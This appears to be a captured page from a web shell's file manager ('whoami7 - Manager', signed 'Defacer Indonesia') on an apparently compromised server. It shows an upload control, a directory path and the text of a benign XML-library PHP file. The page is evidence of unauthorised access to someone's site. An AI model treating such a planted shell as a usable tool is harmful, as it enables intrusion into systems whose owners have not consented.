whoami7 - Manager
:
/
home
/
kckglobal
/
www
/
portal
/
vendor
/
veewee
/
xml
/
src
/
Xml
/
Dom
/
Locator
/
Attribute
/
Upload File:
files >> /home/kckglobal/www/portal/vendor/veewee/xml/src/Xml/Dom/Locator/Attribute/attributes_list.php
<?php declare(strict_types=1); namespace VeeWee\Xml\Dom\Locator\Attribute; use DOMAttr; use DOMNode; use VeeWee\Xml\Dom\Collection\NodeList; use function Psl\Vec\values; use function VeeWee\Xml\Dom\Predicate\is_element; /** * @return NodeList<DOMAttr> */ function attributes_list(DOMNode $node): NodeList { if (!is_element($node)) { return NodeList::empty(); } $attributes = values($node->attributes); return new NodeList(...$attributes); }
Copyright ©2021 || Defacer Indonesia